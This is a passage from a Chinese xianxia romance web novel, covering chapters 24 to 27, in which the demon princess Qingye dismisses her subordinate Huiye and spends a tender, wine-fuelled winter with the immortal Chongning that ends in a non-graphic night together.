可此刻,青叶却忽而想问。 为什么? 她哪一点好?令他如此相待。 青叶迟疑片刻,微微启唇,“你……” 话音未完全出口,却被殿门处一道魔卫声音打断,“殿下,洄夜大人求见。” 这话一出,青叶明显感觉到,重宁周身的气息凝滞了片刻。 仿佛是不高兴的样子。 她探究地打量着这人的眉眼,没见出什么破绽,她却总觉得,重宁这时不想让她见别人。 那便不见吧。 “他想必也累了,让他先回去吧。”青叶于是这样吩咐道。 魔卫却踌躇着,有些为难,“殿下,洄夜大人说,一定要见您。” “大人有要事与您相商。” 她已夺得骨符,还有什么更大的要事? 虞九幽暴露身份,一直与他待在一起的洄夜如今大约也知晓了。 想起之前在万魂窟中虞九幽的话,青叶心中对洄夜的想法已有了猜测。 她便更不愿见他了。 但此时,一旁的重宁却好似将她的思索当做犹豫。 “你若要见下属,我便先走了。”他神色微凝,声音平静无波,却怎么听都是一股子怨怼之意。 青叶觉得他这模样莫名的有意思,和从前也不大相似了。她轻轻地碰了一下男人的指尖,说:“我先前既已说信你,就算要见他,也不会避着你。” 重宁轻笑一声,那笑中竟带着些倔强的冷意,“我不愿见你的下属。” 青叶见他如此,实在好奇,“洄夜怎么惹你了?” 重宁挑眉,望向她,一副“你还好意思问我”的模样。 “青梅竹马,两小无猜,嗯?”他一字一句地说,“你与你的下属,关系倒是匪浅。” 青叶扶额。 这话他是从哪儿听来的? 大概率是洄夜所说了,没想到在她不知情的状况下,他们二人竟还有所交锋。 “我与洄夜并非青梅竹马。”她拉了拉男人的手指,低声说,“只是幼时曾一同长大。” “而且……”她低眉,神色复杂,“小时候的事情我已经尽数忘记了……” 重宁见她如此,神色微动。 女孩儿用这样柔软的神态同他解释,好似珍重地将他放在心里一般。重宁便想,他还有什么可求的呢? 青叶看着男人眸中情绪流转,皆是因她而牵动。 她其实心里也知道,就算召见了洄夜,这人也并不会真的同她生气。 但他大约是会暗自心伤。 青叶在心里叹了口气。 她此时有点不想让重宁难过。 于是青叶命令门口的魔卫:“我的话也不听了么?让他回去,我明天再在绮华殿见他。” 魔卫担心她动怒,连连称是,急急忙忙便退下了。 殿内又重归宁静。 以法力支撑的烛火摇摇晃晃,光影映在他们二人之间。 “满意了?”青叶仰起头望向身前男子,眼眸中闪烁着细碎的光。 重宁微微朝她凑近,碰了碰她的额头。 “满意了。” 这片刻的光阴,终于只属于他。 青叶最后已经忘记自己是如何模模糊糊睡着的了。 只记得重宁身上的味道很好闻,她握着他的指尖,不愿去想日后的事情,仿佛暂时找到了可以安身栖息的归所- 第二日,青叶如约在绮华殿召见了洄夜。 他不似出发前那般精神烁烁,如今沉闷地低着头,跪在她身前,仿佛一尊石化许久的雕像。 事实上,他的确在这里跪了一夜。 为了等她。 青叶从魔卫口中得知这件事后,无奈地叹了口气:“昨夜不是让你回去休息吗?” 洄夜却答非所问,“殿下又将那仙人带了回来。” 青叶想,这倒不是她带回来的,而是重宁从一开始便并未离开。 “殿下便是为了他,昨夜不肯见我,是吗?” 青叶不想回答洄夜这些乱七八糟的话。 她直截了当地开口:“你有什么要事,直接同我说吧。” 洄夜抿了抿唇,最后道:“属下已知晓善镇的真实身份。” “他正是魔界叛军首领,虞九幽。” 青叶猜得没错,他与假善镇始终待在一起,虞九幽和她说的那些话,想必洄夜也听了一遭。 “殿下,对于虞九幽所说之事,您是怎么想的?”他目光灼灼,看向青叶。 “我不会和他同流合污。”青叶淡淡道。 “洄夜,我们都曾差点丧命于此人的追杀,又怎可握手言和?” 况且,她对仙魔之间的纷争没有太大的兴趣。 她真正想做之事,如今已经几近达成。 “殿下……”洄夜目光深沉,似还想再劝,却不知为何欲言又止。 最后,他说:“殿下可容我讲个故事?” 青叶颔首,“你说。” 洄夜闭了闭眼,神色像是回到了许久以前的过往。 “曾经,有一孩童幽魂,漂泊于世间。他在世上已无亲人,又不得造化垂青,最终的命运只会是魂飞魄散。” “可这时,他被魔界选中,给予了天大的承诺——让其以鬼修之道修炼,陪伴魔界公主身侧,一同成长。” “那孩童欣喜若狂,一心修炼,对公主虽有所照拂,却不过是出于职责。后来,他长成了少年,心里想着的唯有一条——只有日后修为大增,才能摆脱这为奴的命运。” 青叶神色平和,静静听着。 她知晓,这是她与洄夜的故事。 他心魔缠身,神志不清时都不肯讲的故事,如今却一五一十地同她道来。 “可事实上,”洄夜低声继续道,“那公主却从未将少年看作过奴才。” “公主虽生长于魔界,却纯质良善,待人一片赤子之心,对那少年也十分温和。少年那时不以为意,只觉她身体心智皆孱弱无能,难堪大任。只是,在魔尊时时斥责惩罚之下,少年仍会对公主动恻隐之心,为她送食治伤。” “一魔一鬼年岁渐长,公主之心一如幼时,却更加倔强。直到一日,魔尊大发雷霆,要求公主杀了地牢内关押的修者,以证潜能。公主不愿,便被押入地牢,跪了整整一日一夜,还是不肯动手。魔尊便断其粮水,不允外人探视,任其自生自灭。” “少年职责所在,为魔尊看守地牢,最终却还是心有不忍,私自为公主送上口粮,可那时地牢之中,早已没了公主身影。” “魔尊大发雷霆,派人寻回公主。少年找了整整三个月,终于在鹤州见到公主身影。可……”洄夜顿了顿,将这一节轻描淡写划过,“公主已不愿回魔界,想要在鹤州生活。” “少年那时才意识到,他早已习惯公主的存在,心中胆大妄为地存了爱慕之心。” “他不能没有公主,且,顶着魔尊的命令,他最终还是将公主带回了魔界。” “公主一回魔界,受到的责罚更重。少年长跪不起,向魔尊求情,最后得来的只有一道指令——将公主送入炼狱之地,试炼百年。” “公主苦苦哀求,放她离开魔界,去往鹤州。少年自然不忍,可魔尊对他恩重如山,最后,只得听从君令。” “将公主亲手送入炼狱——这是他此生最后悔之事。” 洄夜说着,头已垂至地面,伏在地上,面对着青叶的姿态,如同向佛祖忏悔一般。 “可,可……”他话语间带上了几丝颤抖,“这鬼修自认,世间无人比他更爱,更敬公主,无人比他更了解,更能照顾公主,无人比得他的忠心……他甘愿一辈子做奴,做狗,也想陪伴在公主身边。” “却不知,公主可还愿……” 洄夜没能将话说下去。 他身前传来一道淡淡的叹息。 青叶垂眸,却并未看他,视线虚虚聚焦于某处,沉默半晌后,道:“我先前说过,待我寻回母亲魂魄之后,会放你自由。” 她宽容平静的一句话,却就此判了脚边那人的死刑。 洄夜仍伏在地上,手指蜷曲,深深按在地面。 他此刻脸孔痛苦扭曲万分,却无法、也不愿在他最重视之人面前显露。 “殿下……” 别不要他。 可青叶已经做下决定。 她抬手掐诀,正是剥离魂契之术。 洄夜如同已半死之人一般,一动不动,任由他的主人从此和他划清界限。 术法结束后,青叶轻声道:“你走吧。” “我知道你想去追随虞九幽,我不拦你。” “只是下次见面,我必杀你。” 她语调沉静,借用了虞九幽曾对她放下的壮言,如此说。 青叶对洄夜口中那个过去的自己感到陌生。 她怎会是纯质良善之人?焚月塔的百年炼狱,已锻就了她金刚不入之心。 洄夜仍跪在原地。 她没有再看他,径直离开绮华殿,自有魔卫会处置他- 重宁一整日都不曾见到青叶。 昨夜她依他所言并未召见洄夜,又倚着他的手宁静入眠,似倦鸟归林,让他心中不禁生出万般缱绻妥帖之情。 可不过一夜之后,她又不见人影,不曾来找他,也不曾命魔卫来唤他。 这人的心瞬息万变,重宁已不敢去赌她有几分真情。 但至少,他会成为她需要,依赖之人。 重宁离开暮水殿偏殿,去寻青叶。 路上遇到数名魔卫,他们见了他都纷纷警惕避让,又因他是青叶带回之人,只得摆出尊敬之色。 “殿下召见完洄夜大人后,便不知去哪儿了。” “洄夜大人已经走了,不知是他本人要走,还是殿下不愿留他。” “殿下不曾通知我等外出行程,大约还在界外之地中吧。” 听罢,知晓青叶不曾远行,重宁便一间宫室一间宫室地去寻,最终,在一间存酒的内殿中发现了她的身影。 少女身形纤弱,似白鹤低颈般倚在一硕大酒坛旁,一头墨发垂落在素色衣袍上,遮掩住苍白的脸庞,令人看不清此刻神情。 重宁上前扶住她。 少女半眯着眼,脸颊泛上微红,显然是醉了。她像小动物似的嗅了嗅他的衣袖,才顺从地倒在他怀中,攥住他的衣袍。 温热的躯体落入他怀中,重宁只觉得仿佛一颗心被她轻轻擒住,任是揉圆搓扁,亦或是浸入酸水苦水之中,也甘之如饴。 “阿叶,阿叶……” 他低声唤她,像哄幼童一般。 “怎么了?为何喝这么多?” 重宁抱着少女,目光落在她鲜红的指尖上。不远处,裹着符纸的命灯静静地立在一旁,沾染着血迹。 她又在做这种事情。 青叶埋头在他怀中,被酒精浸润得有些混沌的头脑思绪翩飞。 要怎么同他说? 自己以为忠心耿耿的下属实则是让她堕入阿鼻地狱的罪魁祸首? 自己费尽气力找寻到的母亲魂魄,即使感应到了她的气息,却仍是身处闭关之中,不肯向她展露一丝亲昵? 重宁宽大温柔的手掌抚过她的背脊,青叶仿若被顺了顺毛的不安兽类,暂且停息了身体和内心的颤抖。 “……母亲不肯见我。”委屈的话语还是被主人轻声道出。 青叶扑在重宁怀中,脑中纷杂心事忽而闪过。 ——也只有重宁,只有在他身边,她才愿意撬开自己那石头心脏,展露一丝脆弱。 第25章 青叶醉倒在重宁怀中。 男人将清弱的少女抱起, 一步一步回暮水殿,手中提着那盏沾了她血的灵灯。 “我说过,你想要的, 我必会为你达成。” 他喃喃道。 “曾欺你……辱你的,都该死。” 重宁眼眸微垂, 泛出黑沉的执念。 青叶喝醉了,纤细白藕似的手臂缠绕上他的脖颈, 温热的面颊贴上他的肌肤。 重宁耳尖慢慢泛起了些红。 “我去……给你煮醒酒汤。”他轻声叹道,握住她的手臂, 轻轻放下, 作势要起身。 却被青叶拉住了腰带。 少女散着一头墨发,一张脸更显瘦小,双眸略有些不聚焦, 眼神却直勾勾地盯着他,像一只黑夜中引诱僧人上钩的狐妖。 “不许走。”她说。 青叶其实此刻神智并未有多么不清明, 只是头脑十分晕眩。 她就是任性地想要重宁陪她。 想要, 捉住她此刻唯一确定的人。 想要看这人能为她做到什么样的地步。 重宁停下了脚步。 青叶软软地伏在他身前,他只得伸手接着黏住他的少女。 她轻柔的呼吸落在他耳畔,微微的痒。 既是身体, 也是心灵。 某种花朵似的触觉盛开在他唇边。 狐妖缠上了他, 势要让他起心动念,失去自控之力。 “别闹……”重宁被青叶扯到了床榻边, 将他几乎压在了身下。 床幔在二人拉扯间垂落,软纱扫过他的手背, 周身被青叶带着酒香的气息笼罩。 “你喝醉了。”他捧着少女的脸颊,仍克制地用清冷的声线开口。 垂在身侧的手微微蜷起,却没推开她。 指尖忍不住地摩挲着她柔润的肌肤。 青叶伏在他胸口, 两个人的心脏跳动声此起彼伏,仿若融为一体。 如玉的仙人在她身下,面上泛出绀红的颜色。 重宁的喉结不自觉地滚动了一下,垂眸看向身上女子染上醉意的双眸,那眸中映着帐顶投下的灯影,也映着他的身影。 他抬手想扶住她的肩,触到她时,却被青叶顺势握住,按在自己的腰侧。那里的衣料柔软,带着她身上的暖,让他原本紧绷的力道瞬间卸了大半。 少女像一只寻到安全暖窝的毛茸茸小兽,四肢轻轻环住重宁的腰,整个人软软伏在他身上,脸颊贴紧他微凉的衣料,最终埋头扎进他颈间。 散落的长发柔软地蹭着他的锁骨,让重宁失去了能够推拒她的能力。 只好任她施为,手拂在青叶清瘦的脊背上,似一种无可奈何的安抚。 他知道她现在心中不快活。 若如此对他,能让她高兴些许,那便随她去吧。 酒劲慢慢上头,青叶头晕目眩,有些难耐地蹭着重宁的肩头。 然后咬了一口。 力道不重,带着点孩子气的泄愤,更像是一种带着依赖的标记。 真讨厌。 为何这人非得是仙人。 若他也是魔……该多好呢? 她思来想去,脑中一片繁杂,竟就这样依着男人的胸膛睡了过去。 重宁的身心都被身前人搅乱,侧过脸喘出一口气,再低眸看向青叶时,却已见她双眸阖上,蝶翼似的眼睫微颤,呼吸渐渐平稳。 他简直要被她气笑。 只是却也无法。 她捉弄他的次数还少么? 总是如此,她带着那样天真的残忍,一次又一次撩动他的心弦,却让他不论如何都无法离开她- 青叶第二日醒来时,尚还有些头晕。 昨夜的种种变成模糊的回忆,她只记得,自己似乎……咬了重宁一口。 …… 实在有些不应该。 她推开窗,界外之地冷风呼啸,刺骨的寒意透过窗棂袭来。 冬日要来了,算算日子,已经要到元旦之时。 阖家团圆的时节,荒凉的暮水殿,只有她与重宁。 重宁早已回了偏殿,青叶的手覆在那扇木门上,不知是否要现在去见他。 她很快触及门上的一道结界。 熟悉的法术让青叶意识到,重宁正在短暂地闭关。 今日,大约是他要抄写经文,等待无垢神君诏令的日子。 虔诚的圣子大人,即使身在宗门之外,也不曾忘却自己的职责。 青叶于是放下了手,没有推门而入。 她去了绮华殿,召见仍遗留在界外之地的魔卫们。 善镇的真面孔露出后,洄夜也走了,一批魔卫们跟随他们离去,剩下来的已为数不多。 这些人,倒是真正对她忠心耿耿。 但青叶不能因此而让他们在这荒无人烟之地蹉跎岁月。 她将自己剩下的天材地宝尽数分散给这些魔卫,让他们可自寻出路。 这些流离失散的小魔们瑟瑟发抖,以为青叶不要他们了,纷纷跪下问是否是他们做错了什么。 青叶摇摇头。 她说:“若愿离开的,就领了东西离开吧,不愿离开的,也可以一直留在此处。” 她还在一日,就会护他们一日。 魔卫们犹犹豫豫,有些走了,有些仍对着青叶表忠心,说即使洄夜大人离开,他们也会守护公主殿下。 她算什么公主呢? 青叶在心里自嘲地想。 只是终究什么都没说,挥挥手让他们都下去。 寂静的殿内,青叶一人坐于上位。 她手腕处,环绕着梦吟,和几缕细微的淡紫色魔气。 这几缕魔气被她放出,支撑着界外之地的防御结界。 虞九幽虽离开,但青叶却已然感应到,仙界之人有卷土重来之势。 上次无垢宗只是派了星驰正大光明地来,来将重宁带回去。 可这两日,不断的法术剑气在试探着结界的薄弱之处,虽未有仙人现身,但他们一定在暗处探查。 重宁在此,她在此,一个圣子一个魔女,若能带重宁回无垢宗,便是大功一件,若是将她杀了,更是为仙界除害。 重宁被她带走的风声走漏后,有人要前来犯险投机也是自然之事。 只不过,此时的青叶倒暂时不想将重宁放走了。 他的存在,能让她心神稳定。 她总不想承认,可事实如此。 青叶在以自身之力暗自加固结界。 仙人总有一日会闯进来,将此地的一切打破,包括她和重宁之间心照不宣的相处。 但她可以让这一天晚些到来- 重宁正襟危坐于偏殿内。 室内难得门窗紧闭,被一道屏息咒结界笼罩,形成了一间昏暗,密不透风的静室。 重宁昨日照看了喝醉的青叶后,便找仍在界外之地的魔卫要来了纸笔。 他抄写了一整夜无垢心经,如今要以自身神魂做引,和上天对话。 不是为了神君那不知何时会到来的诏令,而是为了另一件事。 桌上的纸卷在阵法的施为下,轻轻颤动,长长的卷尾滚落在地,纸上忽而冒出蓝色的火焰,缓缓燃烧后,一道透明的幻影出现在火焰之上。 那是一位看起来年纪尚小,却神情沉稳肃然的少年。 “重宁仙君……竟燃烧神魂召唤我出来,可是有何要紧之事?” “无垢神君近日忙于天界事务,若有要事,我会代为转告。” 这是神君座下的玉延小仙,也是自重宁成为圣子后,常与他打交道的上界仙人。 无垢神君时常无暇顾及下界琐事,便用玉延作为代传信之人。 蓝色火焰燃烧的每一秒,重宁的神魂都在忍受剧烈的疼痛。 可他此刻神情平静,只是额前沁出几滴汗珠而已。 “玉延,我今日找你,并非为了人间之事。” “是我自身的请求。” 玉延似有些惊讶,却还是说道:“仙君为神君人界圣子化身,玉延自当帮忙,请讲。” “鹤州的界外之地,可否请玉延引入一去往黄泉地府的灵界通道?” 重宁知晓,界外之地荒无人烟,去往地府之路被隐藏起来,因灵气淡薄而难以召唤。 青叶母亲的魂魄本身为魔修,被困入血契骨符后,又陷入闭关状态,即使青叶流再多的血,将她召出的可能性也微乎其微。可因血契骨符的特殊性,离开与封印相关的地界,又会损伤与之相连的魂魄本身。 而若直接将符纸超度,则不能让她们母女二人再见一面。 所以,重宁要请求玉延在界外之地开启灵界通道,只有进入那里,青叶才能够再次与母亲的魂魄相见,送她走上去往黄泉地府转世之路。 玉延掐指一算,“的确,界外之地的灵界通道已经数百年不曾有人召唤了,若非天界干涉,你是寻不到的。” “此事并不难,我便可为你解决。”他沉静开口,只是语气却染上微微的犹疑,“只是……仙君是为何有此一求?又是为何,忽而来到了界外之地?” 少年上仙眼神清透,凝视着重宁,仿佛能看清他心中的欲望和渴求。 玉延叹了口气:“仙君,你着相了。” 他顾及此刻他们二人的对话以重宁灼烧的神魂为引,于是并不多话,只是最后提醒道:“仙君已是半神之身,是神君亲封圣子。有些事情的孰重孰轻,还是再三思量为好。” 玉延隐去了身形。 桌上,被火焰烧毁了一半的无垢心经轻飘飘落下,上方的字迹已模糊不清。 重宁的神魂复位,他拭去额上的汗珠,神色未变。 玉延离去前说的话仍在耳边。 可重宁只是轻笑一声。 他早已因情爱而生出心魔,又如何能再分清轻重? 譬如此刻,星驰的数道传信已来到他身边,道是仙界已有人向界外之地暗中前来进犯,他拦下了长老掌门出兵之意,劝重宁速速离开界外之地。 可重宁只是回复一句知晓了,并没有要回宗门的意思。 上次与星驰一别,他给重宁留下了一只沟通玉牌,时刻与他联系。 星驰百年前曾欠他的人情,如今是到了该偿还的时候了。 他会离开界外之地,且会和青叶一起。 只是不是现在。 他要留给青叶足够为母亲引魂的时间。 重宁将烧了一半的心经卷纸收起,调理一番呼吸,这才走出了偏殿。 令他意外的是,青叶今日竟并未外出,仍在室内。 她坐在桌前,看起来有些疲倦,似乎刚刚才小憩过一回。 桌上,摆放着数张红纸和剪刀,也不知她从哪儿寻来的。 青叶见他出来,眼眸竟微弯了起来,开口道:“仙君结束静室闭关了?” “神君可有诏令?” 重宁摇了摇头。 “唔,想来也是。神君应当是很忙的。”青叶打了个哈欠,指向桌上,笑着道,“元旦将至,仙君要不要一起剪窗花?” 她拎起一张被剪得坑坑洼洼的红纸,托着腮苦恼道:“我手艺不精,就等仙君来帮忙了。” 少女这般模样和他说着话,让重宁不由得觉得,仿佛一切都没有发生过,他们仍在叠云峰上,她是被他捡回来的受伤孤女,而他是照料她生活起居的仙君。 她会狡黠地贴近他朝他撒娇,眉眼中是柔软的笑意。 而非后来的倦怠与伤痛。 他向她走去。 “我来试试。”重宁拿起一张红纸,温声开口。《 》 25-30 第26章 重宁的手艺果真比她好多了。 青叶听闻过他年少时的事迹, 重宁被选为圣子前,灵根未开,曾是鹤州一普通凡人少年。 他大约是经历过热闹的节日, 和家人团聚的时光,也剪过窗花。 青叶从不曾有过这样的经历。 她百年前的记忆是一片混沌, 为数不多的碎片,是从虞九幽与洄夜口中得知。 “仙君是否会思念从前?”青叶忽而轻声开口。 男人指尖微顿, 目光缓缓移向她。 “百年已逝,前尘旧梦……都已消散了。” “即使思念也无用。” 青叶望着他, 莫名觉得, 这人似乎话中有话。 “仙君似乎很释然。”她这样说。 重宁并未回答,只付之一笑。 他手中动作不停,红纸再次展开之时, 一只活灵活现的雪兔跃然纸上。 “仙君好手艺。”青叶眸中不禁流露出欢喜之色。 这是她第一次,和另一人一同过团圆之节。 身边人是重宁, 这让她感觉很好。 或许百年之后, 也会是一段温柔的回忆。 如果她还能活到百年后的话。 趁重宁贴窗花的功夫,她指尖魔气逸出,悄无声息地赶去加固结界。 ——又有烦人的仙人前来试探。 但青叶却不能让这些无聊的人来搅乱她此刻的时光。 而重宁背对着她, 一手将窗花覆在窗上, 另一只手捏诀,悄然施法, 将他们所在的暮水殿施加一道隐匿咒术。 他自然知晓近日界外之地结界处的不太平。 重宁虽身在此处,却始终与星驰保持联系, 让他稳住修界和宗门。 他不愿打搅这一场清梦,更不愿让青叶复又烦忧。 青叶或许也已经察觉,只是, 他们此刻却心照不宣地什么也不提。 只有眼前。 界外之地如同一个透明的玻璃罩,将他们笼在此地。 独属于二人的一场秘境,怎能忍心打碎? 重宁将窗花贴好,转过身,便见青叶又打了个哈欠,眉目间染上些许困倦之色。 她将衣袖团成一团,伏在案上,歪头看向他,仿佛刚刚什么都没有发生。 “还想问仙君……”青叶今日似乎对他很是好奇,复又开口,“是什么时候发现我是魔的?” 重宁朝她走来,袖下的指尖微微拂过青叶散落的长发。 “你猜。”他并不正面回答。 青叶以前不爱这种把戏,此刻却顺着重宁,当真猜了起来,“是我的玉髓花暴露了吗?还是在大比之后?嗯……难道是我那次醉酒?” 她猜不到。 如今回想起来,青叶才发觉,她在重宁面前的漏洞实在太多,一桩桩一件件,都足以暴露她的身份。 偏偏这人对她如此之好,以至于她在他面前总会放松警惕,卸下伪装,像小动物信任温柔的饲养者。 她其实也想要靠近他。 “到底是什么时候呢?”她仰起头望向男人,握住他的袖摆。 重宁轻笑一声。 他抬起手,反握住少女的手腕。 温凉如玉的触感。 “玉京海边,第一次见你时,我便知晓你是魔。”他微微俯身,在她耳侧低声开口。 话音落下,青叶霎时间愣住。 她任由自己的手腕被握住,忽而说不出一句话。 二人就这么静静对望着。 “……为什么?”最后,青叶艰难地吐出这句话。 许多个为什么。为什么知道她是魔,却还将她带回宗门,悉心照料?为什么他斩妖除魔,丝毫不心慈手软,却独独放过与她相关的一切? 为什么……即使如此,即使知道从一开始她就在骗他,还要来爱她? 重宁并没有回答。 他放下了握住青叶的手,轻抚上她的面颊。 “都不重要。” “只因你是你。” 重宁不愿再说下去了。 他眼中拂过几缕复杂的神色,却仍是带着温柔笑意开口道:“问了我这么多,我是不是也该问问你?” “万魂窟中,虞九幽和你说了什么?” “你的下属洄夜,又是因何而离去?” 青叶听见他说出“虞九幽”这个名字,便知晓,什么都瞒不过这人。 告诉他也没什么要紧。 她想,除了重宁,她也再找不到亲近之人可以诉说自己的故事。 从前防备至极的仙人,如今却成了她最依赖之人。 重宁听完,沉吟片刻,抚上她的发顶。 “你受苦了。” 这样多,这样沉重的事情,本不该担在她身上。 男人指尖轻触及青叶的额前,她没忍住,蹭了蹭。 温柔的,心疼的,他在因她的痛而痛。 她喜欢。 她没有被人心疼过。 此时此刻,她才能够完全确认,重宁是真的爱她。 青叶见过什么是不爱,什么是痛苦,什么是绝望,于是可以辨认出与之相反的,美好的情感。 只是她从前不曾相信过。 “没关系。”青叶莞尔一笑,“很多年前的事情我都忘记了。” “能够记得的,只是自己在魔界焚月塔中称王称霸的时光。” 痛苦被掩藏了起来,即使存在,好像也没有太大的关系了。 只是有时隐痛,却找不到病因,会有些迷茫。从虞九幽和洄夜口中得知过去的往事,却仿佛是在看其他人的故事,没有多少真切的感受。 青叶只知道,贴近重宁之时,那痛似乎会减少些许。 “你想过找回从前的回忆吗?”重宁忽然问。 青叶思索片刻,最终缓慢地摇摇头。 “还是算了。”她说,借用了重宁的话,“前尘旧梦已经消散,就让它消散吧。” “现在的我……还不错。从前的弱小和痛苦,也许还是不要真正想起来比较好。” 青叶眼睫垂落,声音轻飘飘的。 飘进重宁心中,他嘴角扯出一丝哀伤的痛色,却很快掩盖下去。 “那就不要想起来。”他说。 青叶想要的,便是他想要的。 他不想再让她难过- 冬日已至。 界外之地更添荒芜景象。 冰冷的风掠过,窗棂呼呼作响,被重宁贴上的那张兔子窗花却仍牢固地覆在窗上。 是清寂的暮水殿中唯一的一抹亮色。 在这样凄冷幽邃,隔绝人烟的地界,一魔一仙却过得如此宁静。 只是,青叶仍没有放弃寻找见到母亲的方法,而最近,她竟真发现了去往灵界通道的痕迹。 界外之地灵气稀薄,通道怎会突然现世? 但她顾不得想那么多。 为母亲引魂才是最重要的事情。 寒风愈发呼啸,不日大约会有雪落下。 重宁站在偏殿窗前,望向窗外枯枝残木。 青叶近几日不见踪影,但他也没去寻她。 ——他知晓少女在做什么,这正是他费尽心力,不惜燃烧神魂也要替她做到的。 重宁不愿去打搅她。 他指节上的戒指微闪,连接着青叶腕间的梦吟。 这是他们之间的联系。她无论去往何处,他都能找到她。 实质上,梦吟的存在,大约也是来源于他心中微妙的控制欲,重宁实在担忧她再度离开。 可青叶却也如他所愿,没有再摘下。 直到一日,重宁指节上忽而感受到了灼烫的温度。 起伏不定的炙热,代表着某人此刻的心境。 他又一次在酒窖中寻到了青叶。 少女完全没有吸取先前几次的教训,明明一喝就醉,却还是贪杯。 她伏在酒缸之上,见他来了,还朝他挥挥手。 青叶身上酒香馥郁,不知喝的是什么,竟如此香气扑鼻,重宁不过是轻嗅一口,脑中便晕染出一片绮意。 少女见他晕眩片刻,不禁醉醺醺地笑了起来。 可他却知晓,这人虽笑着,心中大约是不太痛快。 戒指传来的温度时高时低,重宁不知青叶在灵界通道中发生了什么,只得揽住她腰身,将轻飘飘的她抱起。 “不许再喝了。”男人叹息般地命令她。 青叶又依赖上了他,两只白皙的胳膊环住他的脖颈,温热的温度蹭上他的肌肤。 重宁将她带回暮水殿,少女却复又不安分起来。 “很好喝。”她一只手中还拎着酒壶,酒水洒出来了些,打湿了重宁胸前衣襟。 她伸手便要扒拉他,香甜又轻柔的气息落在男人耳畔,问:“你要不要尝尝?” 重宁耳尖脖颈都泛起了红。 魔女…… “……我不喝。”他无奈开口。 自成为圣子之后,重宁已多年未曾饮酒了。 “老古板。”青叶不满地扁扁嘴,“是你的圣子身份重要,还是陪我喝酒重要?” 她难得这样同他说话,重宁竟一时也难以反驳。 自然是陪她更重要。 重宁想将怀中的少女放下,让她坐着,他去煮醒酒汤,青叶却不依不饶,不让他走。 她搂着他的脖子不放,两人拉扯之间,一时竟倒在了床榻之上。 酒香满溢,这回打湿了两个人的衣裳,青叶是当真醉了,不管不顾,兀自将饮下酒壶中最后一口,又蹭上重宁的唇角。 温香软玉在怀,即使是圣子也不能坐怀不乱。 这是他心爱之人啊。 青叶覆上了他的唇。 重宁的一颗心不由得随之颤动。 一个黏糊糊又柔软至极的亲吻。 他们之间的第二次亲吻。 青叶将口中酒液渡给了重宁。 酒液入口的那一刻,他已然发现有些不对。 酒的味道他无法分辨,却能感知到其中掺了的佐料。 青叶喝的是桃花酿。 这是欢好之酒。 可这样一个吻,带着少女的主动,她神色不大清明,眼眸中却装着他的面孔,仿佛在这一刻,她只看向他,只相信他,只为他而动情。 重宁无法拒绝。 青叶伏在他胸口,温软的,轻飘飘的,像一只小鸟,他不愿让她飞走。 停在他怀中好吗? 别再留下他一个人了。 重宁闭上了眼,咽下了那口酒。 第27章 灼热的温度在二人之间蔓延。 青叶半醉半醒, 她其实知道自己在做些什么。 她在掀开重宁的衣襟。 男人将她抱在怀中,喝下了她故意喂给他的酒,任由她施为。 他的体温慢慢升高, 身上的衣袍也被她弄得乱七八糟,双眸失神, 一只手紧紧覆在她腰间。 哪里还有那高高在上,清风朗月的圣子大人? 他分明在因一个魔女而动情。 重宁的变化让青叶心中升起一种微妙的快意。 此时此刻, 他不属于仙界,不属于无垢神君。 他只属于她。 青叶轻轻吻上重宁的唇角, 那里还沾染着几分酒液。是甜的。 桃花酿当然是甜的, 甜得让人想要侵占眼前之人。 先前她将重宁掳来界外之地,对他多有戏弄,不过是出于某种恶劣的心意, 可此刻这个吻,却显得格外珍而重之。 如同当初他为了她散去修为, 换来碧云雪草后, 她守在他床前,落下的那个吻一般。 重宁覆在她腰间的手愈发滚烫,他在回应她的亲吻。 男人在此刻展现出从未有过的掌控欲, 将青叶拥在坚实的怀中, 仿佛占据了她的全部身体,便能占据她的全部心灵。 不再是落花般蜻蜓点水的吻, 而是唇与齿的相连。 凝神草的气息缠绕着青叶,她被沾染上他的味道。 “……你会后悔吗?”她喘息着, 在重宁耳边轻声问道。 看向他的一双眸水润而清澈。 从前在叠云峰上,她说的是,他一定会后悔的。 可此刻, 她却希望他不会后悔。 重宁轻笑一声。 青叶似乎觉得她在侵.犯他,仿佛还觉得,他是从高高的神坛上落下,被她拽入淤泥间一般。 可并非如此。 他早已陷入阴暗的心魔之中。 他想要她。想要同她耳鬓厮磨,亲吻她柔软的唇,将她拥入怀中。 他想要做她的男人,她的道侣,想要与她再不分开。 重宁从前克制着自己的欲望,想着要慢慢地同她发展感情,想着守护她,接住她,任她肆意妄为。 她想要什么,给她便是了。 以为这样她便会有安全感,再不会想要远离他。 可他的内心,却在阴暗地想要占有她。 少女被他按在身下,深深地承受他的亲吻,一时有些模糊地怔愣住,仿佛在想他何时成了这般模样。 可陷入情爱之人,哪还有多少理智可言? “阿叶……阿叶……” 桃花酿的甜味遮盖了二人身上的清冷,床帐不知被谁扯下,室外是冷风呼啸,室内却是一片温情。 重宁握住了青叶的手,缓慢地与她十指相扣,他高大的身躯覆上她,将她彻底圈在怀中。 青叶出了汗,碎发被打湿,恍然间不知自己是不是做了正确的决定。 谪仙般的男人也有这种失去理智的时刻吗? 她落入汹涌的海浪中,才发觉自己从前那些恶趣味的撩拨不过是小小伎俩,男人从前纵容她放任她,却要在此时收回代价和补偿。 青叶纤细的手臂缠绕住重宁的脖颈,抱住他,蹭蹭他的颈侧,落下轻轻的吻,这人才会停止掠夺,理智回笼般地展现出原本的温和神色。 “唤我。”他的吻落在她额前鼻尖,像在安抚她。 温润的,湿漉的。 “仙君……”青叶双眼失神,下意识地脱口而出。 然而这样的称呼显然让重宁不满。 青叶受到了这人恶意的惩罚,忙换了称呼:“重宁!阿宁……” 重宁这才放过了她。 原本牙尖嘴利,喜欢捉弄人的少女此刻抱着他的肩膀,贴近他,依赖地亲吻。 藏起了爪牙,不再是从前那防备的模样。 他于是也收敛起锋芒,担心她难受,宽大手掌轻抚过青叶发丝和后脑。 想要让她高兴,让她快乐。 汗水和发丝都交织在了一起。 …… 重宁将沉睡的青叶抱在怀中,她的温度让他觉得安心。 手指缠绕着少女的墨发,仿佛将他就此捆住。 他沉沉入眠。 青叶再次醒来时,感受到男人的呼吸扑洒在她后颈处。 重宁赤裸着上身,手臂环绕着她。 亲昵地埋头在她颈间,一个具有保护欲的姿势。 他大约许久未曾饮酒,此刻已睡熟了。 昨夜的记忆在青叶脑海中回荡,她不禁脸颊微热。 这人竟也有这样的时刻。 她轻轻移开男人的手臂,下了床。 外袍已被酒液打湿,暂时不能穿了,她披上重宁的大氅,走至侧门边。 推开门的那一刹那,漫天的白茫茫映入眼帘,狂风收敛些许,取而代之的是鹅毛飘雪。 